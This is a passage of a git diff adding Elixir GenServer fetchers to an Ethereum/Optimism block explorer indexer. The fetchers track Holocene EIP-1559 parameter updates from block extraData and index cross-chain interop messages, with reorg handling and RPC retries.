case of any critical issues + # during initialization. It checks the value of INDEXER_OPTIMISM_L2_HOLOCENE_TIMESTAMP env variable, waits for the + # Holocene block (if the module starts before Holocene activation), defines the block range which must be scanned + # to handle `extraData` fields, and retrieves the dynamic EIP-1559 parameters (denominator and multiplier) for each block. + # The changed parameter values are then written to the `op_eip1559_config_updates` database table. + # + # The block range is split into chunks which max size is defined by INDEXER_OPTIMISM_L2_HOLOCENE_BLOCKS_CHUNK_SIZE + # env variable. + # + # If the Holocene is not activated yet, the function waits for the Holocene block first. + # + # When the initialization succeeds, the `:continue` message is sent to GenServer to start the catchup loop + # retrieving and saving historical parameter updates. + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection to L2 RPC node. + # - `_state`: Initial state of the fetcher (empty map when starting). + # + # ## Returns + # - `{:noreply, state}` when the initialization is successful and the fetching can start. The `state` contains + # necessary parameters needed for the fetching. + # - `{:stop, :normal, %{}}` in case of error or when the INDEXER_OPTIMISM_L2_HOLOCENE_TIMESTAMP is not defined. + @impl GenServer + @spec handle_continue(EthereumJSONRPC.json_rpc_named_arguments(), map()) :: + {:noreply, map()} | {:stop, :normal, map()} + def handle_continue(json_rpc_named_arguments, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + env = Application.get_all_env(:indexer)[__MODULE__] + optimism_env = Application.get_all_env(:indexer)[Indexer.Fetcher.Optimism] + timestamp = env[:holocene_timestamp_l2] + + with false <- is_nil(timestamp), + wait_for_holocene(timestamp, json_rpc_named_arguments), + Subscriber.to(:blocks, :realtime), + {:ok, latest_block_number} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()), + l2_block_number = + block_number_by_timestamp(timestamp, optimism_env[:block_duration], json_rpc_named_arguments), + EIP1559ConfigUpdate.remove_invalid_updates(l2_block_number, latest_block_number), + {:ok, last_l2_block_number} <- get_last_l2_block_number(json_rpc_named_arguments) do + Logger.info("l2_block_number = #{l2_block_number}") + Logger.info("last_l2_block_number = #{last_l2_block_number}") + Logger.info("latest_block_number = #{latest_block_number}") + + Process.send(self(), :continue, []) + + {:noreply, + %{ + start_block_number: max(l2_block_number, last_l2_block_number), + end_block_number: latest_block_number, + chunk_size: env[:chunk_size], + timestamp: timestamp, + mode: :catchup, + realtime_range: nil, + last_realtime_block_number: nil, + json_rpc_named_arguments: json_rpc_named_arguments + }} + else + true -> + # Holocene timestamp is not defined, so we don't start this module + {:stop, :normal, %{}} + + {:error, error_data} -> + Logger.error("Cannot get last L2 block from RPC by its hash due to RPC error: #{inspect(error_data)}") + {:stop, :normal, %{}} + end + end + + # Performs the main handling loop for the specified block range. The block range is split into chunks. + # Max size of a chunk is defined by INDEXER_OPTIMISM_L2_HOLOCENE_BLOCKS_CHUNK_SIZE env variable. + # + # If there are reorg blocks in the block range, the reorgs are handled. In a normal situation, + # the realtime block range is formed by `handle_info({:chain_event, :blocks, :realtime, blocks}, state)` + # handler. + # + # ## Parameters + # - `:continue`: The GenServer message. + # - `state`: The current state of the fetcher containing block range, max chunk size, etc. + # + # ## Returns + # - `{:noreply, state}` tuple where `state` is the new state of the fetcher which can have updated block + # range and other parameters. + @impl GenServer + def handle_info( + :continue, + %{ + start_block_number: start_block_number, + end_block_number: end_block_number, + chunk_size: chunk_size, + mode: mode, + last_realtime_block_number: last_realtime_block_number, + json_rpc_named_arguments: json_rpc_named_arguments + } = state + ) do + {new_start_block_number, new_end_block_number, reorg_block_number} = + start_block_number..end_block_number + |> Enum.chunk_every(chunk_size) + |> Enum.reduce_while({nil, nil, nil}, fn block_numbers, _acc -> + chunk_start = List.first(block_numbers) + chunk_end = List.last(block_numbers) + + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block_number, end_block_number, nil, :L2) + + updates_count = handle_updates(block_numbers, json_rpc_named_arguments) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block_number, + end_block_number, + "#{updates_count} update(s).", + :L2 + ) + + reorg_block_number = Optimism.handle_reorgs_queue(__MODULE__, &handle_reorg/1) + + cond do + is_nil(reorg_block_number) or reorg_block_number > end_block_number -> + {:cont, {nil, nil, reorg_block_number}} + + reorg_block_number < start_block_number -> + new_start_block_number = reorg_block_number + new_end_block_number = reorg_block_number + {:halt, {new_start_block_number, new_end_block_number, reorg_block_number}} + + true -> + new_start_block_number = min(chunk_end + 1, reorg_block_number) + new_end_block_number = reorg_block_number + {:halt, {new_start_block_number, new_end_block_number, reorg_block_number}} + end + end) + + new_last_realtime_block_number = + if is_nil(reorg_block_number) do + last_realtime_block_number + else + reorg_block_number + end + + if is_nil(new_start_block_number) or is_nil(new_end_block_number) do + # if there wasn't a reorg or the reorg didn't affect the current range, switch to realtime mode + if mode == :catchup do + Optimism.log_catchup_loop_finished(start_block_number, end_block_number) + end + + {:noreply, %{state | mode: :realtime, last_realtime_block_number: new_last_realtime_block_number}} + else + # if the reorg affected the current range, cut the range (see the code above) + # so that the last block of the range is the reorg block number, and handle the new range + Process.send(self(), :continue, []) + + {:noreply, + %{ + state + | start_block_number: new_start_block_number, + end_block_number: new_end_block_number, + last_realtime_block_number: new_last_realtime_block_number + }} + end + end + + # Catches new block from the realtime block fetcher to form the next block range to handle by the main loop. + # + # ## Parameters + # - `{:chain_event, :blocks, :realtime, blocks}`: The GenServer message containing the list of blocks + # taken by the realtime block fetcher. + # - `state`: The current fetcher state containing the current block range and other parameters for realtime handling. + # + # ## Returns + # - `{:noreply, state}` tuple where `state` is the new state of the fetcher containing the updated block range and other parameters. + @impl GenServer + def handle_info({:chain_event, :blocks, :realtime, blocks}, state) do + Optimism.handle_realtime_blocks(blocks, state) + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + # Removes all rows from the `op_eip1559_config_updates` table which have `l2_block_number` greater or equal to the reorg block number. + # Also, resets the last handled L2 block hash in the `last_fetched_counters` database table. + # + # ## Parameters + # - `reorg_block_number`: The L2 reorg block number. + # + # ## Returns + # - nothing. + @spec handle_reorg(non_neg_integer() | nil) :: any() + defp handle_reorg(reorg_block_number) when not is_nil(reorg_block_number) do + deleted_count = EIP1559ConfigUpdate.remove_invalid_updates(0, reorg_block_number - 1) + + if deleted_count > 0 do + Logger.warning( + "As L2 reorg was detected, all rows with l2_block_number >= #{reorg_block_number} were removed from the `op_eip1559_config_updates` table. Number of removed rows: #{deleted_count}." + ) + end + + Optimism.set_last_block_hash(@empty_hash, @counter_type) + end + + defp handle_reorg(_reorg_block_number), do: :ok + + # Retrieves updated config parameters from the specified blocks and saves them to the database. + # The parameters are read from the `extraData` field which format is as follows: + # 1-byte version ++ 4-byte denominator ++ 4-byte elasticity + # + # The last handled block hash is kept in the `last_fetched_counters` table to start from that after + # instance restart. + # + # ## Parameters + # - `block_numbers`: The list of block numbers for which we need to check and update config parameters. + # Note that the size of this list cannot be larger than max batch request size on RPC node. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - The number of inserted rows into the `op_eip1559_config_updates` database table. + @spec handle_updates([non_neg_integer()], EthereumJSONRPC.json_rpc_named_arguments()) :: non_neg_integer() + defp handle_updates(block_numbers, json_rpc_named_arguments) do + case fetch_blocks_by_numbers(block_numbers, json_rpc_named_arguments, false) do + {:ok, %Blocks{blocks_params: blocks_params}} -> + # we only keep block numbers for the existing blocks + block_numbers_existing = + block_numbers + |> Enum.filter(fn block_number -> + Enum.any?(blocks_params, fn b -> + !is_nil(b) and b.number == block_number + end) + end) + + last_block_number = List.last(block_numbers_existing) + + Enum.reduce(block_numbers_existing, 0, fn block_number, acc -> + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + block = Enum.find(blocks_params, %{extra_data: "0x"}, fn b -> b.number == block_number end) + + extra_data = hash_to_binary(block.extra_data) + + return = + with {:valid_format, true} <- {:valid_format, byte_size(extra_data) >= 9}, + <> = extra_data, + {:valid_version, _version, true} <- {:valid_version, version, version == 0}, + prev_config = EIP1559ConfigUpdate.actual_config_for_block(block.number), + new_config = {denominator, elasticity}, + {:updated_config, true} <- {:updated_config, prev_config != new_config} do + update_config(block.number, block.hash, denominator, elasticity) + + Logger.info( + "Config was updated at block #{block.number}. Previous one: #{inspect(prev_config)}. New one: #{inspect(new_config)}." + ) + + acc + 1 + else + {:valid_format, false} -> + Logger.warning("extraData of the block ##{block_number} has invalid format. Ignoring it.") + acc + + {:valid_version, version, false} -> + Logger.warning("extraData of the block ##{block_number} has invalid version #{version}. Ignoring it.") + acc + + {:updated_config, false} -> + acc + end + + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + if block.number == last_block_number do + Optimism.set_last_block_hash(block.hash, @counter_type) + end + + return + end) + + {_, message_or_errors} -> + message = + case message_or_errors do + %Blocks{errors: errors} -> errors + msg -> msg + end + + chunk_start = List.first(block_numbers) + chunk_end = List.last(block_numbers) + + Optimism.log_error_message_with_retry_sleep( + "Cannot fetch blocks #{inspect(chunk_start..chunk_end)}. Error(s): #{inspect(message)}" + ) + + handle_updates(block_numbers, json_rpc_named_arguments) + end + end + + # Inserts a new row into the `op_eip1559_config_updates` database table. + # + # ## Parameters + # - `l2_block_number`: L2 block number of the config update. + # - `l2_block_hash`: L2 block hash of the config update. + # - `base_fee_max_change_denominator`: A new value for EIP-1559 denominator. + # - `elasticity_multiplier`: A new value for EIP-1559 multiplier. + @spec update_config(non_neg_integer(), binary(), non_neg_integer(), non_neg_integer()) :: no_return() + defp update_config(l2_block_number, l2_block_hash, base_fee_max_change_denominator, elasticity_multiplier) do + updates = [ + %{ + l2_block_number: l2_block_number, + l2_block_hash: l2_block_hash, + base_fee_max_change_denominator: base_fee_max_change_denominator, + elasticity_multiplier: elasticity_multiplier + } + ] + + {:ok, _} = + Chain.import(%{ + optimism_eip1559_config_updates: %{params: updates}, + timeout: :infinity + }) + end + + # Determines a block number by its timestamp. The function firstly tries to get the nearest block + # number to the specified timestamp using the database. If the block is not found, the RPC is used. + # + # ## Parameters + # - `timestamp`: The timestamp for which the block number is being determined. + # - `block_duration`: The average block duration, seconds. Used for RPC approach. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. Used for RPC approach. + # + # ## Returns + # - The block number corresponding to the given timestamp. + @spec block_number_by_timestamp(non_neg_integer(), non_neg_integer(), EthereumJSONRPC.json_rpc_named_arguments()) :: + non_neg_integer() + defp block_number_by_timestamp(timestamp, block_duration, json_rpc_named_arguments) + + defp block_number_by_timestamp(0, _block_duration, _json_rpc_named_arguments), do: 0 + + defp block_number_by_timestamp(timestamp, block_duration, json_rpc_named_arguments) do + {:ok, timestamp_dt} = DateTime.from_unix(timestamp) + + Logger.info("Trying to detect Holocene block number by its timestamp using indexed L2 blocks...") + + case BlockGeneralReader.timestamp_to_block_number(timestamp_dt, :after, false) do + {:ok, block_number} -> + Logger.info("Holocene block number is detected using indexed L2 blocks. The block number is #{block_number}") + block_number + + _ -> + Logger.info( + "Cannot detect Holocene block number using indexed L2 blocks. Trying to calculate the number using RPC requests..." + ) + + block_number_by_timestamp_from_rpc(timestamp, block_duration, json_rpc_named_arguments) + end + end + + # Gets the last known L2 block number from the `op_eip1559_config_updates` database table. + # When the block number is found, the function checks that for actuality (to avoid reorg cases). + # If the block is not consensus, the corresponding row is removed from the table and + # the previous block becomes under consideration, and so on until a row with non-reorged + # block is found. + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # + # ## Returns + # - `{:ok, number}` tuple with the block number of the last actual row. The number can be `0` if there are no rows. + # - `{:error, message}` tuple in case of RPC error. + @spec get_last_l2_block_number(EthereumJSONRPC.json_rpc_named_arguments()) :: + {:ok, non_neg_integer()} | {:error, any()} + defp get_last_l2_block_number(json_rpc_named_arguments) do + last_l2_block_number = + Optimism.get_last_block_number_from_last_fetched_counter(json_rpc_named_arguments, @counter_type) + + if is_nil(last_l2_block_number) do + {last_l2_block_number, last_l2_block_hash} = EIP1559ConfigUpdate.get_last_item() + + with {:empty_hash, false} <- {:empty_hash, is_nil(last_l2_block_hash)}, + {:ok, last_l2_block} <- Optimism.get_block_by_hash(last_l2_block_hash, json_rpc_named_arguments), + {:empty_block, false} <- {:empty_block, is_nil(last_l2_block)} do + {:ok, last_l2_block_number} + else + {:empty_hash, true} -> + {:ok, 0} + + {:error, _} = error -> + error + + {:empty_block, true} -> + Logger.error( + "Cannot find the last L2 block from RPC by its hash (#{last_l2_block_hash}). Probably, there was a reorg on L2 chain. Trying to check preceding block..." + ) + + EIP1559ConfigUpdate.remove_invalid_updates(0, last_l2_block_number - 1) + + get_last_l2_block_number(json_rpc_named_arguments) + end + else + {:ok, last_l2_block_number} + end + end + + # Determines a block number by its timestamp using RPC. The function uses the average block + # duration and the latest block timestamp to calculate the required block number + # by the specified timestamp. + # + # If the found block was created later or earlier than the given timestamp + # (that can happen if the average block timestamp is not constant), the function + # additionally clarifies the block duration using the next block's timestamp + # and tries to calculate the block number again. + # + # ## Parameters + # - `timestamp`: The timestamp for which the block number is being determined. + # - `block_duration`: The average block duration, seconds. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # - `ref_block_number`: The reference block number for the calculation. If nil, the latest block is used. + # - `ref_block_timestamp`: The timestamp of the reference block number. If nil, the latest block timestamp is used. + # + # ## Returns + # - The block number corresponding to the given timestamp. + @spec block_number_by_timestamp_from_rpc( + non_neg_integer(), + non_neg_integer(), + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer() | nil, + non_neg_integer() | nil + ) :: non_neg_integer() + defp block_number_by_timestamp_from_rpc( + timestamp, + block_duration, + json_rpc_named_arguments, + ref_block_number \\ nil, + ref_block_timestamp \\ nil + ) do + ref_number = + if is_nil(ref_block_number) do + {:ok, latest_block_number} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()) + + latest_block_number + else + ref_block_number + end + + ref_timestamp = + if is_nil(ref_block_timestamp) do + {:ok, block_timestamp} = + Helper.get_block_timestamp_by_number_or_tag( + ref_number, + json_rpc_named_arguments, + Helper.infinite_retries_number() + ) + + block_timestamp + else + ref_block_timestamp + end + + gap = div(abs(ref_timestamp - timestamp), block_duration) + + block_number = + if ref_timestamp > timestamp do + ref_number - gap + else + ref_number + gap + end + + {:ok, block_timestamp} = + Helper.get_block_timestamp_by_number_or_tag( + block_number, + json_rpc_named_arguments, + Helper.infinite_retries_number() + ) + + if block_timestamp == timestamp do + Logger.info("Holocene block number was successfully calculated using RPC. The block number is #{block_number}") + block_number + else + next_block_number = block_number + 1 + + {:ok, next_block_timestamp} = + Helper.get_block_timestamp_by_number_or_tag( + next_block_number, + json_rpc_named_arguments, + Helper.infinite_retries_number() + ) + + if next_block_timestamp == timestamp do + Logger.info( + "Holocene block number was successfully calculated using RPC. The block number is #{next_block_number}" + ) + + next_block_number + else + :timer.sleep(1000) + Logger.info("Another try for Holocene block number calculation using RPC...") + + Logger.info( + "block_number = #{block_number}, next_block_number = #{next_block_number}, block_timestamp = #{block_timestamp}, next_block_timestamp = #{next_block_timestamp}" + ) + + block_number_by_timestamp_from_rpc( + timestamp, + next_block_timestamp - block_timestamp, + json_rpc_named_arguments, + block_number, + block_timestamp + ) + end + end + end + + # Infinitely waits for the OP Holocene upgrade. + # + # ## Parameters + # - `timestamp`: The timestamp of the Holocene. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + @spec wait_for_holocene(non_neg_integer(), EthereumJSONRPC.json_rpc_named_arguments()) :: any() + defp wait_for_holocene(timestamp, json_rpc_named_arguments) do + {:ok, latest_timestamp} = + Helper.get_block_timestamp_by_number_or_tag(:latest, json_rpc_named_arguments, Helper.infinite_retries_number()) + + if latest_timestamp < timestamp do + Logger.info("Holocene is not activated yet. Waiting for the timestamp #{timestamp} to be reached...") + :timer.sleep(@latest_block_check_interval_seconds * 1_000) + wait_for_holocene(timestamp, json_rpc_named_arguments) + else + Logger.info("Holocene activation detected") + end + end + + def fetcher_name, do: @fetcher_name +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/interop/helper.ex b/apps/indexer/lib/indexer/fetcher/optimism/interop/helper.ex new file mode 100644 index 000000000000..3df02dbaf1dd --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/interop/helper.ex @@ -0,0 +1,48 @@ +defmodule Indexer.Fetcher.Optimism.Interop.Helper do + @moduledoc """ + Auxiliary common functions for OP Interop indexers. + """ + + require Logger + + @doc """ + Outputs an error message about `eth_chainId` JSON-RPC request was failed. + + ## Returns + - :ok + """ + @spec log_cant_get_chain_id_from_rpc() :: :ok + def log_cant_get_chain_id_from_rpc do + Logger.error("Cannot get chain ID from RPC.") + end + + @doc """ + Outputs an error message about `eth_getTransactionByHash` JSON-RPC request was failed. + + ## Parameters + - `error_data`: Contains error data returned by RPC node. + + ## Returns + - :ok + """ + @spec log_cant_get_last_transaction_from_rpc(any()) :: :ok + def log_cant_get_last_transaction_from_rpc(error_data) do + Logger.error("Cannot get last transaction from RPC by its hash due to RPC error: #{inspect(error_data)}") + end + + @doc """ + Outputs last known block number (got from DB) and latest block number (got from RPC) for debugging purposes. + + ## Parameters + - `last_block_number`: The last known block number from database. + - `last_block_number`: The latest block number from RPC node. + + ## Returns + - :ok + """ + @spec log_last_block_numbers(non_neg_integer(), non_neg_integer()) :: :ok + def log_last_block_numbers(last_block_number, latest_block_number) do + Logger.info("last_block_number = #{last_block_number}") + Logger.info("latest_block_number = #{latest_block_number}") + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism/interop/message.ex b/apps/indexer/lib/indexer/fetcher/optimism/interop/message.ex new file mode 100644 index 000000000000..9de880a79049 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism/interop/message.ex @@ -0,0 +1,470 @@ +defmodule Indexer.Fetcher.Optimism.Interop.Message do + @moduledoc """ + Fills op_interop_messages DB table by catching `SentMessage` and `RelayedMessage` events. + + The table stores indexed interop messages which are got from `SentMessage` and `RelayedMessage` events + emitted by the `L2ToL2CrossDomainMessenger` predeploy smart contract. The messages are scanned starting from + the block number defined in INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK env variable. If the variable is not + defined, the module doesn't start. + + Each message always consists of two transactions: initial transaction on the source chain and relay transaction + on the target chain. The initial transaction emits the `SentMessage` event, and the relay transaction emits the + `RelayedMessage` event. + + The message is treated as outgoing when its initial transaction was created on the local chain and the corresponding + relay transaction was executed on the remote chain. The message is treated as incoming when its initial transaction + was created on the remote chain and the corresponding relay transaction was executed on the local chain. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import EthereumJSONRPC, only: [quantity_to_integer: 1] + import Explorer.Helper, only: [decode_data: 2, truncate_address_hash: 1] + + import Indexer.Fetcher.Optimism.Interop.Helper, + only: [log_cant_get_chain_id_from_rpc: 0, log_cant_get_last_transaction_from_rpc: 1, log_last_block_numbers: 2] + + alias Explorer.Chain + alias Explorer.Chain.Block.Reader.General, as: BlockReaderGeneral + alias Explorer.Chain.Data + alias Explorer.Chain.Events.Subscriber + alias Explorer.Chain.Optimism.InteropMessage + alias Indexer.Fetcher.Optimism + alias Indexer.Helper + + @fetcher_name :optimism_interop_messages + @l2tol2_cross_domain_messenger "0x4200000000000000000000000000000000000023" + @blocks_batch_request_max_size 8 + @max_int32 2_147_483_647 + + # 32-byte signature of the event SentMessage(uint256 indexed destination, address indexed target, uint256 indexed messageNonce, address sender, bytes message) + @sent_message_event "0x382409ac69001e11931a28435afef442cbfd20d9891907e8fa373ba7d351f320" + + # 32-byte signature of the event RelayedMessage(uint256 indexed source, uint256 indexed messageNonce, bytes32 indexed messageHash) + @relayed_message_event "0x5948076590932b9d173029c7df03fe386e755a61c86c7fe2671011a2faa2a379" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(args) do + {:ok, %{}, {:continue, args[:json_rpc_named_arguments]}} + end + + # Initialization function which is used instead of `init` to avoid Supervisor's stop in case of any critical issues + # during initialization. It checks the value of INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK env variable, defines the + # block range which must be scanned to handle `SentMessage` and `RelayedMessage` events, and starts the handling loop. + # + # The block range is split into chunks which max size is defined by INDEXER_OPTIMISM_L2_ETH_GET_LOGS_RANGE_SIZE + # env variable. + # + # Also, the function fetches the current chain id to use it in the handler (to write correct `init_chain_id` and + # `relay_chain_id` fields). + # + # When the initialization succeeds, the `:continue` message is sent to GenServer to start the catchup loop + # retrieving and saving historical events (and after that, it's switched to realtime mode). + # + # ## Parameters + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection to RPC node. + # - `_state`: Initial state of the fetcher (empty map when starting). + # + # ## Returns + # - `{:noreply, state}` when the initialization is successful and the fetching can start. The `state` contains + # necessary parameters needed for the fetching. + # - `{:stop, :normal, %{}}` in case of error or when the INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK is not defined. + @impl GenServer + @spec handle_continue(EthereumJSONRPC.json_rpc_named_arguments(), map()) :: + {:noreply, map()} | {:stop, :normal, map()} + def handle_continue(json_rpc_named_arguments, _state) do + Logger.metadata(fetcher: @fetcher_name) + + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + + env = Application.get_all_env(:indexer)[__MODULE__] + optimism_env = Application.get_all_env(:indexer)[Indexer.Fetcher.Optimism] + block_number = env[:start_block] + + with false <- is_nil(block_number), + chain_id = Optimism.fetch_chain_id(), + {:chain_id_is_nil, false} <- {:chain_id_is_nil, is_nil(chain_id)}, + Subscriber.to(:blocks, :realtime), + {:ok, latest_block_number} = + Helper.get_block_number_by_tag("latest", json_rpc_named_arguments, Helper.infinite_retries_number()), + InteropMessage.remove_invalid_messages(latest_block_number), + {:ok, last_block_number} <- get_last_block_number(json_rpc_named_arguments, chain_id) do + log_last_block_numbers(last_block_number, latest_block_number) + + Process.send(self(), :continue, []) + + {:noreply, + %{ + start_block_number: max(block_number, last_block_number), + end_block_number: latest_block_number, + chunk_size: optimism_env[:l2_eth_get_logs_range_size], + mode: :catchup, + realtime_range: nil, + last_realtime_block_number: nil, + json_rpc_named_arguments: json_rpc_named_arguments, + chain_id: chain_id + }} + else + true -> + # Start block is not defined, so we don't start this module + {:stop, :normal, %{}} + + {:chain_id_is_nil, true} -> + log_cant_get_chain_id_from_rpc() + {:stop, :normal, %{}} + + {:error, error_data} -> + log_cant_get_last_transaction_from_rpc(error_data) + {:stop, :normal, %{}} + end + end + + # Performs the main handling loop for the specified block range. The block range is split into chunks. + # Max size of a chunk is defined by INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK env variable. + # + # If there are reorg blocks in the block range, the reorgs are handled. In a normal situation, + # the realtime block range is formed by `handle_info({:chain_event, :blocks, :realtime, blocks}, state)` + # handler. + # + # ## Parameters + # - `:continue`: The GenServer message. + # - `state`: The current state of the fetcher containing block range, max chunk size, etc. + # + # ## Returns + # - `{:noreply, state}` tuple where `state` is the new state of the fetcher which can have updated block + # range and other parameters. + @impl GenServer + def handle_info( + :continue, + %{ + start_block_number: start_block_number, + end_block_number: end_block_number, + chunk_size: chunk_size, + mode: mode, + last_realtime_block_number: last_realtime_block_number, + json_rpc_named_arguments: json_rpc_named_arguments, + chain_id: chain_id + } = state + ) do + {new_start_block_number, new_end_block_number, reorg_block_number} = + start_block_number..end_block_number + |> Enum.chunk_every(chunk_size) + |> Enum.reduce_while({nil, nil, nil}, fn block_numbers, _acc -> + chunk_start = List.first(block_numbers) + chunk_end = List.last(block_numbers) + + Helper.log_blocks_chunk_handling(chunk_start, chunk_end, start_block_number, end_block_number, nil, :L2) + + events_count = handle_events(chunk_start, chunk_end, json_rpc_named_arguments, chain_id) + + Helper.log_blocks_chunk_handling( + chunk_start, + chunk_end, + start_block_number, + end_block_number, + "#{events_count} event(s).", + :L2 + ) + + reorg_block_number = Optimism.handle_reorgs_queue(__MODULE__, &handle_reorg/1) + + cond do + is_nil(reorg_block_number) or reorg_block_number > end_block_number -> + {:cont, {nil, nil, reorg_block_number}} + + reorg_block_number < start_block_number -> + new_start_block_number = reorg_block_number + new_end_block_number = reorg_block_number + {:halt, {new_start_block_number, new_end_block_number, reorg_block_number}} + + true -> + new_start_block_number = min(chunk_end + 1, reorg_block_number) + new_end_block_number = reorg_block_number + {:halt, {new_start_block_number, new_end_block_number, reorg_block_number}} + end + end) + + new_last_realtime_block_number = + if is_nil(reorg_block_number) do + last_realtime_block_number + else + reorg_block_number + end + + if is_nil(new_start_block_number) or is_nil(new_end_block_number) do + # if there wasn't a reorg or the reorg didn't affect the current range, switch to realtime mode + if mode == :catchup do + Optimism.log_catchup_loop_finished(start_block_number, end_block_number) + end + + {:noreply, %{state | mode: :realtime, last_realtime_block_number: new_last_realtime_block_number}} + else + # if the reorg affected the current range, cut the range (see the code above) + # so that the last block of the range is the reorg block number, and handle the new range + Process.send(self(), :continue, []) + + {:noreply, + %{ + state + | start_block_number: new_start_block_number, + end_block_number: new_end_block_number, + last_realtime_block_number: new_last_realtime_block_number + }} + end + end + + # Catches new block from the realtime block fetcher to form the next block range to handle by the main loop. + # + # ## Parameters + # - `{:chain_event, :blocks, :realtime, blocks}`: The GenServer message containing the list of blocks + # taken by the realtime block fetcher. + # - `state`: The current fetcher state containing the current block range and other parameters for realtime handling. + # + # ## Returns + # - `{:noreply, state}` tuple where `state` is the new state of the fetcher containing the updated block range and other parameters. + @impl GenServer + def handle_info({:chain_event, :blocks, :realtime, blocks}, state) do + Optimism.handle_realtime_blocks(blocks, state) + end + + @impl GenServer + def handle_info({ref, _result}, state) do + Process.demonitor(ref, [:flush]) + {:noreply, state} + end + + @doc """ + Removes all rows from the `op_interop_messages` table which have `block_number` greater or equal to the reorg block number. + + ## Parameters + - `reorg_block_number`: The reorg block number. + + ## Returns + - nothing. + """ + @spec handle_reorg(non_neg_integer() | nil) :: any() + def handle_reorg(reorg_block_number) when not is_nil(reorg_block_number) do + deleted_count = InteropMessage.remove_invalid_messages(reorg_block_number - 1) + + if deleted_count > 0 do + Logger.warning( + "As L2 reorg was detected, all rows with block_number >= #{reorg_block_number} were removed from the `op_interop_messages` table. Number of removed rows: #{deleted_count}." + ) + end + end + + def handle_reorg(_reorg_block_number), do: :ok + + # Searches events in the given block range and prepares the list of items to import to `op_interop_messages` table. + # + # ## Parameters + # - `start_block_number`: The start block number of the block range for which we need to search and handle the events. + # - `end_block_number`: The end block number of the block range for which we need to search and handle the events. + # Note that the length of the range cannot be larger than max batch request size on RPC node. + # - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + # - `current_chain_id`: The current chain ID to use it for `init_chain_id` or `relay_chain_id` field. + # + # ## Returns + # - The number of found `SentMessage` and `RelayedMessage` events. + @spec handle_events( + non_neg_integer(), + non_neg_integer(), + EthereumJSONRPC.json_rpc_named_arguments(), + non_neg_integer() + ) :: non_neg_integer() + defp handle_events(start_block_number, end_block_number, json_rpc_named_arguments, current_chain_id) do + {:ok, events} = + Helper.get_logs( + start_block_number, + end_block_number, + @l2tol2_cross_domain_messenger, + [[@sent_message_event, @relayed_message_event]], + json_rpc_named_arguments, + 0, + Helper.infinite_retries_number() + ) + + timestamps = + events + |> Enum.filter(fn event -> Enum.at(event["topics"], 0) == @sent_message_event end) + |> block_timestamp_by_number(json_rpc_named_arguments) + + messages = + events + |> Enum.reject(fn event -> + # ignore events with abnormal chain id + quantity_to_integer(Enum.at(event["topics"], 1)) > @max_int32 + end) + |> Enum.map(fn event -> + block_number = quantity_to_integer(event["blockNumber"]) + + if Enum.at(event["topics"], 0) == @sent_message_event do + [sender_address_hash, payload] = decode_data(event["data"], [:address, :bytes]) + + [transfer_token_address_hash, transfer_from_address_hash, transfer_to_address_hash, transfer_amount] = + InteropMessage.decode_payload(payload) + + %{ + sender_address_hash: sender_address_hash, + target_address_hash: truncate_address_hash(Enum.at(event["topics"], 2)), + nonce: quantity_to_integer(Enum.at(event["topics"], 3)), + init_chain_id: current_chain_id, + init_transaction_hash: event["transactionHash"], + block_number: block_number, + timestamp: Map.get(timestamps, block_number), + relay_chain_id: quantity_to_integer(Enum.at(event["topics"], 1)), + payload: %Data{bytes: payload}, + transfer_token_address_hash: transfer_token_address_hash, + transfer_from_address_hash: transfer_from_address_hash, + transfer_to_address_hash: transfer_to_address_hash, + transfer_amount: transfer_amount, + sent_to_multichain: false + } + else + %{ + nonce: quantity_to_integer(Enum.at(event["topics"], 2)), + init_chain_id: quantity_to_integer(Enum.at(event["topics"], 1)), + block_number: block_number, + relay_chain_id: current_chain_id, + relay_transaction_hash: event["transactionHash"], + failed: false + } + end + end) + + {:ok, _} = + Chain.import(%{ + optimism_interop_messages: %{params: messages}, + timeout: :infinity + }) + + Enum.count(messages) + end + + @doc """ + Gets the last known block number from the `op_interop_messages` database table. + When the block number is found, the function checks that for actuality (to avoid reorg cases). + If the block is not consensus, the corresponding row is removed from the table and + the previous block becomes under consideration, and so on until a row with non-reorged + block is found. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + - `current_chain_id`: The current chain ID. + - `only_failed`: True if only failed relay transactions are taken into account. + + ## Returns + - `{:ok, number}` tuple with the block number of the last actual row. The number can be `0` if there are no rows. + - `{:error, message}` tuple in case of RPC error. + """ + @spec get_last_block_number(EthereumJSONRPC.json_rpc_named_arguments(), non_neg_integer()) :: + {:ok, 